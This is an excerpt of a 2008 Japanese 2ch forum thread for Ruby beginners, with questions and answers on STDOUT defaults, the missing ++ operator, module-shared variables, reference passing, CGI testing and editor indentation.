605 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 02:26:58 ] 2chへのアクセスは、下手に簡易にすると 「2chの全板取得」とか「24時間丸ごと10分ごとに板の全スレの新着取得」とか そういう馬鹿をする人間が必ず出ている(確定事項)なので プログラム板の最後の良心の欠片として自力で調べてもらうということになってる 板自治を気取るのではなく自分の見てるスレだけから抜き出したいのなら、 自分の使ってる2ch専用ブラウザのローカルのログを加工するといい 作ったことのある初心者から言うと2ch仕様の調べもの込みで休日の朝から夜までかかった 全くのRuby素人なら1週間くらいかかるんじゃなかろうか
606 名前:デフォルトの名無しさん [2008/02/06(水) 02:33:35 ] >>605 下手に簡易って、探せば適当なライブラリがいっぱいありそうだが。
607 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 02:42:46 ] goRuaだっけかrubyでかかれた2chクライアントあるよね
608 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 03:03:11 ] Rubyを学ぶ気がないならぶっちゃけPerlで既存の組み合わせて作ったほうが楽かと
609 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 08:13:24 ] Cのプリプロセッサ #ifdef DEBUG hoge(); #endif のように、デバッグモードのときだけhoge()を実行するコードを書くのに良い方法はありますか?
610 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 08:15:39 ] ここにうpしてもいいですか?
611 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 08:25:26 ] >>609 hoge if $DEBUG
612 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 08:46:22 ] >>611 ありがとうございます(^^)
613 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 08:49:28 ] あ、所詮ただのif文/if節だから厳密な意味でデバッグモード専用にはできないよ if $DEBUG str='string!' end p defined?('s') これの場合、pで真が表示される いわゆる「実行させない」ようにさせるだけ(これで充分なことが大半だが) 真にNameErrorを出すような芸当をさせる簡易な書き方は知らない
614 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 10:32:45 ] >>602 「今から始める」人が、MLの購読で得るものは少ないと思うが 敢えて言うなら、日本語で質問ができるruby-list
615 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 19:20:38 ] ruby 1.9.0ビルドしてrubyなスクリプト実行してみたんだけど pythonでいうところの.pycみたいのが作られないんだけどそういうもん?
616 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 19:27:25 ] そういうもんです
617 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 19:28:57 ] いずれそのうちもしかしたらやるかもしれないみたいなことはいっていたけどな
618 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 19:42:00 ] brubyを1.6で作ったのが間違いだったらしい
619 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 20:48:17 ] 質問させてください いま、Fileオブジェクトを引数に持ち、ファイルに結果を書き込むメソッドを考えています 引数がFileオブジェクトの場合はそのファイルに書き込み、nullの場合は標準出力に書き込んで欲しいと考えています そこで class hoge def print(file) if(file ==null) ×××× end file.puts "なんだかの結果、書き出し" end end と書いているのですが、××××の部分をfile = selfとかしてもダメです なにかいい方法はあるのでしょうか? file.putsが複数回出てくるのでif文でnullの時だけputs ""にして、それ以外はfile.puts ""にするのややりたくありません よろしくお願いいたします
620 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 20:51:22 ] def print(io) io = STDOUT if io == null io.puts "hoge" end
621 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 20:58:13 ] ちなみにRubyではnullじゃなくnilな
622 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:00:32 ] >>620 ありがとうございます 助かりました STDOUTとか、その辺の定数みたいなものは自然と身についていくものなんでしょうか? ちょっと前にもARGVに気が付かず、コマンドライン引数を取得する方法に悩んでしまいました
623 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:03:53 ] マニュアル読めよ
624 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:19:02 ] >>623 まあそうなんですけど、私みたいな日曜プログラマはプログラム書きながらわからんところだけ調べるスタイルなので それに、どの言語もそうですけど、マニュアル分厚くて読む気しない
625 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:23:36 ] 役に立つかどうかはわからんが、 逆引きRuby www.namaraii.com/rubytips/
626 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:25:08 ] おまいらやさしいな 傍から見ててテンプレ嫁ググレカスとか書き込もうと思ったよ
627 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:34:27 ] 本を一冊読めば大抵のこと書いてあると思う。
628 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:47:04 ] コンピュータのディスプレイで読めるリファレンスマニュアルに分厚いも糞も無いだろ
629 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:47:54 ] マニュアルに一通り目を通すのがめんどい、とかは分からないでもないけど、 この場合「組み込み定数」って項目がリファレンスのトップレベルにあるしなあ。
630 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:56:32 ] >>628 Rubyのオンラインマニュアルは充分「厚い」部類に入ると思うぞ やっぱ3000円出してたのしいRuby第2版買わないとどうにもならん 最初に4時間ほど使って本読んでおけば10分で見つかるものを オンラインヘルプとへなちょこチュートリアルで1時間かけて探すのはアホらしい
631 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 21:58:40 ] >>629 本気で言ってる? 「組み込み定数」という文字のどこをどう見れば 「RubyにはSTDOUTというIOオブジェクトの定数があってputsやprintのデフォルトになってる」って思いつくんだ?
632 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 22:03:55 ] 組み込み定数というページを見れば組み込み定数が載ってるよってことだと思うが
633 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 22:05:46 ] わからんといってる人にわかると言い張っても何も解決するはずもなく
634 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 22:11:12 ] 日曜プログラマじゃなくて、ただのバカなんだな
635 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 22:23:40 ] 「わからない俺のほうが正常なのだ」と言い張る馬鹿には もう何も言えることは無いものな・・・。
636 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 22:28:41 ] ここは初心者に優しくないスレですね とりあえず>>622 には、俺も書籍の購入をすすめる でもそれに加えて、リファレンスマニュアルの内容は一通り把握した方が良い (どこに何が書いてあるか、が分かるぐらいには) HTML Help版なら検索も楽だよ
637 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 23:00:28 ] スクリプト言語に馴染みある人なら、特にRuby本買う必要ないと思うなぁ。 スクリプト言語Rubyの2分冊のやつ買ったけど、ほとんど見ないしWebの リファレンスですませてる。 Webのリファレンスですまない内容って、結局本にものってなくて、 メーリングリスト検索か、ソース読むしかないし。
638 名前:デフォルトの名無しさん mailto:sage [2008/02/06(水) 23:01:47 ] まぁ救いは、Rubyのソースコードが綺麗に書かれていることくらいか。
639 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 01:46:46 ] Rubyにまともなデバグ環境ってないの?
640 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:03:54 ] まともな人はRubyを選びませんから
641 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:08:18 ] 10年後にはRubyが主要な言語になってるよ。
642 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:15:54 ] >>641 (期待も込めて)ハゲドウ
643 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:27:37 ] >>641 無理。
644 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:28:42 ] >>643 お前何も分かってないんだな。
645 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:38:59 ] >>639 ttp://www.ruby-lang.org/ja/man/html/debug.html
646 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:39:53 ] >>645 それはまともじゃない
647 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 02:55:29 ] 戦略としてはアレだ、PerlのカリスマであるラリーウォールをRuby陣営に 引きずり込もう、なんとしても。 どうしたらいいか? -なにはともあれラリーウォールと合意を採る -Perlモード作って、Perl6完全互換Rubyを作る -Perlコミュニティを取り込む -。。。 こりゃ不可能だww だがカリスマ性は重要。MatzはMatzだが、ラリーと どうしても比較してしまう。
648 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 06:19:43 ] Rubyのチートシート集(チートシートとはカンニングペーパーのことです) Ruby and Ruby on Rails cheat sheets >> Scott Klarr www.scottklarr.com/topic/104/ruby-and-ruby-on-rails-cheat-sheets/
649 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 07:00:19 ] >>647 Ruby本スレ向きの話題だが・・・ ジョークで言っているのだろうが、現実的に考える 人というのは、振り向け振り向けと言っても、振り向いてくれないもの 向こうから来てくれる魅力のあるものを提供する必要がある -Parrot上でRubyを実装 -RubyからもPerlの膨大なライブラリを使えるようにする -ちょっと使ってみようと思わせる、移行しても不利益がないと感じさせる -多くのPerlの人たちがRubyに興味を持つ -そのうちラリーウォールが気に留める だな 引きずり込もうと考えてはあかんと思う。得たいならまずは与えることだろう。
650 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 08:04:18 ] Rubyをアニメ化すれば、ラリーも鞍替えしてくれるに違いない。
651 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 08:40:51 ] そこでRubyちゃんですよ
652 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 10:13:44 ] >RubyからもPerlの膨大なライブラリを使えるように これ確かあったんだけど、もうメンテされてないんだよな。
653 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 11:55:46 ] >>652 kwsk とりあえず、Acme::JapaneseAvActress が動けばいい
654 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 13:00:43 ] >>653 ttp://www.yoshidam.net/Ruby_ja.html#perl 自分は試せる環境がないのでそのへんはよろしく。 「Ruby Susieプラグイン」でググると手繰って辿り着けたハズ。
655 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 17:04:38 ] AmritaでのHTML出力でわからない所があるので質問させてください テンプレートにこう書いといて <tr id="table1"> <td id="name"><td id="author"> </tr> data = { :table1=>[ { :name=>"Ruby", :author=>"matz" }, { :name=>"perl", :author=>"Larry Wall" } ] } こうすりゃサンプルにある通り <tr> <td>Ruby</td> <td>matz</td> </tr> <tr> <td>perl</td> こうでますよね。 この時に tr の属性値を変えるのってどうすればできるんでしょうか? :table1=>[ Amrita::a(:value => "test"){:name => "Ruby"} ] だと文法エラーになっちゃうんですよね... Amritaのバージョンは調べ方がわからなかったので ファイルの作成日時だけ書かせて頂くと、2003/03/09になっています
656 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 23:04:16 ] 煽りじゃなくて、Scheme(or Lisp)に有って、Rubyに無い機能ってある? あるとしたら、その機能って必要?他の機能で代用可能?
657 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 23:07:02 ] >>656 S式
658 名前:デフォルトの名無しさん mailto:sage [2008/02/07(木) 23:08:32 ] そりゃLispではない以上 Lispにあるものをすべて備えているわけがない すべて備えたらそれはただのLispだ 本スレで聞くといろいろ細かいこと教えてもらえるかもよ
659 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 01:31:39 ] 質問というよりも言語仕様の問題に近いのかもしれませんが、 どうしてRubyにはインクリメントならびにデクリメント演算子がないのでしょうか? 実質 x += 1 で何も問題はないのですが、 この表記は個人的になんか気に入らないので、納得のいく理由が欲しいのです。 調べたりしてもなぜないのかまで踏み込んでいるところが見つからなくて……よろしくお願いします。 前置や後置でややこしいからかな……などと思いましたが、 それならば後置限定で採用するなりすればいいじゃないかと思うのは浅知恵でしょうか? ならびに x.next x.succ で後置インクリメントじみた挙動が実現できるのは知っていますが、 インクリメントの意味合いでこのメソッドを使用するのは感心できる行為なんでしょうか? またその場合、インクリメントはメソッド、デクリメントは演算子とアシンメトリになってしまうのですが、 なんかもう全部ひっくるめて、ここらへんはどう解釈すればいいんでしょうか?
660 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 01:41:44 ] >>659 現行のRubyにインクリメント演算子が無いのは言語作成者のポリシー。 10年も前のMLでの発言だが、基本的には変わってないはずだ。 ttp://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-list/5323 > すんません.この件は以前から指摘されているのですが(演算子はC > に似ているのに++と--は対応する演算子が無い),++の動作が本質 > 的に「変数を操作する」ものであるため,変数がオブジェクトでな > いRubyでは導入できないでいます.++や--の「オブジェクト指向的 > 意味」がRubyの他の部分と整合性を保ったまま定義できれば採用し > たいのですが…. うまい実装の仕方があれば要望として取り入れると思うぞ。
661 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 01:47:56 ] あと > x.next x.succ で後置インクリメントじみた挙動が実現できる できないと思うぞ i = i.succ と書くことは i += 1 と書くのと見栄え的にも手間的にもたいして変わらないんじゃないかと
662 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 01:49:15 ] Cだとx++;で済んで簡潔なのかもしれんが、 例えばループ書くのに使うときとかは、ブロック使ってメソッドに抽象化して使う ようにして、元が多少ダサくなるのは見逃してくれ。
663 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 01:57:55 ] なんでインクリメント作れないのかは 「整数オブジェクトを破壊的に変更できないから」というのもあると思う
664 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 02:11:45 ] 俺もRuby使って最初に躓いたのが、++と--が使えないことだったw Matzらしくもない。こんなんとっとと取り込んじまえばイイヤン。
665 名前:659 mailto:sage [2008/02/08(金) 02:15:06 ] >>660-663 まとめてですみません。素早いお返事ありがとうございます。 確かにそう考えると合点がつきますね。 自分で考えても全然納得できなかったのですが、ようやくすっきりしました。 ありがとうございます。 >>661 できませんね…… succをリファレンスで調べたときに「インクリメントの代替はあるじゃん!」と勘違いして、 そのままずっと勘違いし続けてたみたいです。重ね重ねありがとうございます。
666 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 02:18:50 ] >>660 の「変数がオブジェクトでない」ってどういう意味?
667 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 02:20:24 ] >>665 え〜納得しちゃうの?w ごねようぜ・・・w
668 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 02:35:19 ] >>667 「しんたっくすしゅがーとかでさいようしましょうよ〜」とかでいいですか?w いや本当はちょっとごねたいんですけど、なにぶん『初心者スレッド』で質問している程度なんで 納得した先にできることがないっす。 += とか本当は嫌いなんだけどなあ……みたいな感じで。
669 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 02:41:47 ] >>668 かわいくゴネたら、俺がパッチ作って匿名でRubyメーリングリストに なげるっていう条件でどう?w かわいくなかったら、作らないw
670 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 03:40:39 ] >>666 単なる名札。
671 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 03:59:32 ] >>659-670 先日、io-languageスレで、++ を実装しようとしてこねくり回してたところだったんで、 タイムリーすぎて吹いた なんでスマートにできないかというと、 メソッド内で、メソッドを呼んだオブジェクトを、格納した変数に代入できないから。 で、スマートな解決法はある。 Fixnum なら、Fixnum に 中身のデータを設定するメソッドを作ってやればいい。 例えば、Fixnum.set_value() みたいな。 ただし、Rubyのソースをいじるはめになるだろう どーしても、Rubyのコードでやりたければ、Fixnumのメンバを持った、 Fixnumのラッパーを作るしかないだろうな。 そうすれば、簡単に実現できる。 結局、数字のリテラルを書くように使えず、そのクラスをいちいち new しないといけないのが面倒だが
672 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 04:00:27 ] 変なところで、句読点打った orz > メソッド内で、メソッドを呼んだオブジェクトを、格納した変数に代入できないから。 メソッド内で、メソッドを呼んだオブジェクトを格納した変数に、オブジェクトを代入できないから。
673 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 04:02:27 ] > 「整数オブジェクトを破壊的に変更できないから」というのもあると思う ゲ、>>663 が簡潔にまとめてるじゃないか ・・・ orz
674 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 05:28:31 ] >>660 残念ながら松本が++が嫌いだと言ってますので多分ないでしょう。
675 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 06:12:21 ] a.++ で万事解決
676 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 07:59:16 ] >>675 > a.++ > で万事解決 だーかーらー Rubyの数関係のオブジェクトはイミュータブル、ってのがわかってないダロオマエ
677 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 08:24:51 ] rubyのオブジェクト指向度の低さに唖然・・・
678 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 08:48:36 ] smalltalkerが来ましたか
679 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 09:05:54 ] Smallalk 使いから見ると Ruby はリフレクションが貧弱だよね。 これじゃ、まともなリファクタリングブラウザも作れないだろう…と。
680 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 09:14:09 ] a.++! でよくね
681 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 09:36:37 ] a = 1 b = a a.++! p b
682 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 10:24:56 ] Smalltalkから馬鹿にされるのはしかたないけど、C++から馬鹿にされると釈然としないかも。
683 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 10:39:02 ] irb> n = 100 irb> p [n, 100, 99+1, 101-1, 99.succ, 'd'[0], '100'.to_i].map{|e| e.object_id} [201, 201, 201, 201, 201, 201, 201] Rubyでは、同じ整数値である限り、同じオブジェクト
684 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 11:33:22 ] C++とか、 プリミティブ型があるJavaからも馬鹿にされたくはないな
685 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 11:53:57 ] >>683 スゲー
686 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 12:53:58 ] >>683 同じ整数値っていうかFixnumの場合だけじゃまいか irb(main):002:0> [(2 ** 30).object_id, (2 ** 30).object_id] => [21803310, 21802580]
687 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 12:59:06 ] >>679 >Smallalk 使いから見ると Ruby はリフレクションが貧弱だよね。 >これじゃ、まともなリファクタリングブラウザも作れないだろう…と。 SmallalkじゃなくてSmalltalkな。 それはいいとして、>>679 にはぜひSmalltalkのよさを語ってほしいな。 Smalltalkの強力なリフレクション機能がどんなものか知りたい。
688 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 13:22:15 ] >>687 たとえば(リファクタリングとは直接関係ないけど)、くだんの #++ とかの実装は、 Ruby の貧弱なイントロスペクションじゃ逆立ちしても無理…とかいう話?
689 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 14:20:18 ] >>688 #++は>663,671,672,676,683。README.EXT(.ja)を参照。 誤解を恐れずに簡略すると実はFIXNUMだけオブジェクトじゃない。 オブジェクトじゃないから状態(値)を変更できない。 値の変更は変数に対する操作(代入)で代用。
690 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 14:25:58 ] 実装の問題は別として >>681 の p b で 2 が出力されておk、という人は多くないと 思うわけだが。
691 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 14:54:58 ] Hash#compare_by_identityって破壊的なのに!つけないんだな これだからrails厨どもは
692 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 14:57:01 ] >>689 Smalltalk も SmallInteger(Fuxnum 相当)は事情は同じだよ?
693 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 16:26:09 ] >>687-692 SmallTalkスレで聞いてきたよ。 アラン・ケイも認めた!Ruby>>>>>Smalltalk pc11.2ch.net/test/read.cgi/tech/1150106090/169-171 SmallTalkでも、破壊的に変更できない事情は同じで、 そこを強力なメッセージとリファクタリングの言語機能でカバー 力技だから、スマートでないと言われたらそうかもしれない。 Matzは嫌がりそうw
694 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 16:27:46 ] x リファクタリング o リフレクション >>687-688 にturareta
695 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 16:47:16 ] >>693 だが Squeak Smalltalk を参考に作られた Rubinius ならきっとやってくれる!
696 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 16:49:36 ] C#の完勝ですね
697 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 20:39:22 ] クラス変数とかインスタンス変数ってあるけど、モジュール変数的なのってないの? 自作のモジュールに含まれるクラスから自由にぺとぺと触れる変数が欲しいんだけど…
698 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 20:42:40 ] モジュール内でクラス変数を定義すれば俗称でモジュール変数と呼ばれてるものになるよ
699 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 20:54:51 ] >>698 そうなのかーありがとー! ちなみに↓のが「@@tempって初期化されてなくね?」って言われるのはなんでなん? ttp://www.ruby-lang.org/ja/man/html/_CAD1BFF4A4C8C4EABFF4.html#a.a5.af.a5.e9.a5.b9.ca.d1.bf.f4 のいちばん最初の例とか見ると平気そうに思えるんだけど… module Test @@temp = "test" class TestTest # def initialize # @@temp = "test2" # end def print puts @@temp end end end Test::TestTest.new.print
700 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:04:40 ] ネストと継承がわかってないようだね
701 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:09:55 ] マニュアルにある通り、「上」のクラスのサブクラスかインスタンスメソッドにしないと読めないぞ モジュールを継承することはできないからincludeする。…できないはず。まあいいや。 module Test @@temp = "test" class TestTest include Test # def initialize # @@temp = "test2" # end def print puts @@temp end end end Test::TestTest.new.print 個人的にはあまりきれいに思えない
702 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:18:33 ] >>700 継承?わからんので教えてほしいかも >>701 自分が所属してるモジュールもincludeできるのかー でも、確かに美しくないね 質問を変えると、例えばDBの接続やらなんかのオブジェクトを 同じモジュールのクラス間で共有して使い回したいとすると、 なんかいい方法ってある?
703 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:23:19 ] 定数
704 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:23:30 ] クラス変数自体が存在微妙だからな クラス内定数にハッシュ設定して読んだり書いたりしたほうがマシ module Test TEMP = {'str1'=>"test"} class TestTest def initialize TEMP['str2']='test2' end def print p TEMP end end end Test::TestTest.new.print $ ruby test.rb {"str1"=>"test", "str2"=>"test2"}
705 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:26:37 ] >>702 そもそも、たいていの場合ならクラス間で共有して使いまわすよりも initializeの引数として渡した方が(コンポジションにした方が)いいと思う
706 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:29:03 ] もうdef initializeのあとに@ナントカって10個くらい書き続ける仕事はいやだお
707 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:40:53 ] >>704 そんなんできるのかー でも定数に読み書きするのはなんかきもちわるい気もするなぁ… >>705 いちいち渡すのがめんどくさい気がしたんだ
708 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:52:59 ] >>707 定数ってのは、同じオブジェクトを指し続けているという意味であって その中の状態は不問だからな。 オブジェクトのほうを不変にするには.freezeする。
709 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:56:53 ] >>706 少数のオブジェクトにまとめろよw それができないようなクラス構成なのかもしれないけど >>707 渡すのが面倒なのは確か でもテストのことを考えると、引数で明示的に「どの値を使うか」を指定できる方が便利だよ
710 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 21:58:21 ] STR = 'before' STR.replace('after') puts STR これはSTRが指すオブジェクトが変更されないから警告出ないよね このへんまで説明してる初心者向け解説はあまり見ないけど
711 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:01:28 ] >>708 >>710 そう書かれるとなんか自然に見えてきたぞ… >>709 DBの接続とかMechanizeのオブジェクトとかを渡したいので「どの値」とかは特に関係ない件 むしろRuby慣れてないから引数でオブジェクト渡すと参照渡しになってるのかどうかさえ知らん
712 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:15:07 ] >>711 自分で注意深くコードを書いて試すといい ちなみにいわゆる参照渡しだ class Test def initialize(str,h) @str = str; @h = h end def modify @str.replace('MODIFIED') @h['MODIFIED'] = 'MODIFIED' end end str = 'default' h = {'key'=>'value'} Test.new(str,h).modify p str p h # ================================ $ ruby ./test.rb "MODIFIED" {"MODIFIED"=>"MODIFIED", "key"=>"value"}
713 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:22:01 ] >>712 昔はこれを意識したコードを書いてたんだけど 最近はもうこういうとこに気を遣って手品みたいなことするのめんどくさくなって class Test def initialize(str,h) @str = str.dup; @h = h.dup end def modify @str.replace('MODIFIED') @h['MODIFIED']='MODIFIED' end def result return @str,@h end end str = 'default' h = {'key'=>'value'} test = Test.new(str,h) test.modify (str,h) = test.result puts str p h こんなコード書いてる たいていこれで済むし
714 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:25:42 ] 「参照の値渡し」ね
715 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:37:35 ] そこが「いわゆる」に含めた意味だろうな。
716 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:39:50 ] Gaucheのwww.cgi.testみたいなやつない? とりあえずRubyにCGIパラメータ渡したいんだけど。 ブラウザでちまちまやるの面倒くさくて。。。
717 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:49:23 ] ~$ cat cgi.rb require 'cgi' cgi = CGI.new p cgi.params ~$ ruby cgi.rb 'title=ruby&creator=matz' {"creator"=>["matz"], "title"=>["ruby"]}
718 名前:655 mailto:sage [2008/02/08(金) 22:51:13 ] あれ? スルーされてる…。 何か質問の仕方、もしくは場所がまずかったですか?
719 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:56:01 ] Amritaというものを使ってる人がスレにおらんのだろう
720 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 22:57:44 ] >>691 それ言っちゃうと、Array#shiftとかも不統一だよね。
721 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 23:02:17 ] shift,unshift,push,popあたりはperlから受け継いでるからな。 !がついてないからといって破壊的じゃないとは限らない。
722 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 23:21:24 ] emacs+ruby-mode.elで書いていて質問があります。 ヒアドキュメントを記述して、頭の方でruby-indent-exp(再インデント)を実行しても、 終端行以降に記載した部分がインデントされません。 もし対処法ありましたら、教えて下さい。 (もしくはそういう書き方をしないのでしょうか) -- def hoge() print <<-EOT こんばんは。 EOT # <= ここ以下インデントされない end def foo() print <<-EOT こんにちは。 EOT end -- emacs->22.1 ruby-mode-> r15297
723 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 23:34:26 ] >>718 ごめん普通に見逃してた Amrita.aを使うなら :table1=> Amrita::a(:value => "test"){[:name => "Ruby"]} でOK 今やるなら、それよりもamrita-alteredの属性値展開を使う方がいいと思う
724 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 23:42:35 ] >>716 ふつうに QUERY_STRING='a=1&b=2' ruby mycgi.rb とすればよくね? POSTなら ruby mycgi.rb < request.txt まあWindowsならどうやるのか知らないけど。
725 名前:デフォルトの名無しさん mailto:sage [2008/02/08(金) 23:45:45 ] ruby-modeのインデントは微妙に信頼性が低くて困る def hoge =begin なんとか =end end を def hoge =begin なんとか =end end にして潰してくれたときには参った 最新版では直ってるのかね >>722 終端文字列の直後の行を正しいインデント量に手動で直してから再インデント
726 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 00:15:46 ] >>717 >>724 ありがとうごぜえますだ。
727 名前:722 mailto:sage [2008/02/09(土) 00:53:14 ] >>725 ↓こんな感じでグダグダです def hoge =begin なんとか =end end >終端文字列の直後の行を正しいインデント量に手動で直してから再インデント うまくいかないですorz emacs 21.4でも同じ
728 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 03:25:48 ] windows XP proでVisualuRuby上(ruby 1.8.6 (2007-09-24 patchlevel 111) [i386-mswin32])で Susie::Plugin library for Rubyを使いたいのですが、ソースからコンパイルするしかないのでしょうか? ttp://www.yoshidam.net/Ruby_ja.html#susie をDLし解凍したものを ruby\lib\ruby\1.8\susie 下に 置いてもrequire "susie"ができないので… 他にsusieを使う方法ってあるのでしょうか?(COM経由とかではなく)
729 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 10:08:51 ] 全く使ったことないが、require 'susie' という書き方で探されるのは ruby\lib\ruby\1.8\susie.rb だと思うぞ
730 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 10:10:36 ] susie/susie
731 名前:デフォルトの名無しさん [2008/02/09(土) 10:21:37 ] exec() や system() メソッドで、 コマンド実行後に独自の入力プロンプト(入力待ち)状態になるコマンド(ftp, sqlplus 等)を実行したあとに、 さらに、そこへ入力を続けるようなことはどうすれば出来るでしょうか。 以前、どこかのサイトでその方法を見かけて、使ったことがあったのですが、 そのコードが手元に残っていなく、サイトを探してもみあたらなかったため、 質問させて頂きました。 よろしくお願いいたします。
732 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 11:00:53 ] >>731 標準で付いてるexpect.rbが使えるケースかも?
733 名前:デフォルトの名無しさん mailto:sage [2008/02/09(土) 18:16:41 ] POPFileというベイジアンフィルターソフトの設定画面が、ローカルにたてたhttp鯖に接続して行う形になっています。 スパムを誤認したメールがたまりまくって手動では無理なため、一括で、教育しなおしたいのですが、 httpのPOSTを簡単に扱えるライブラリはないでしょうか? hpricot的にお手軽にPOSTしたいのですが・・・
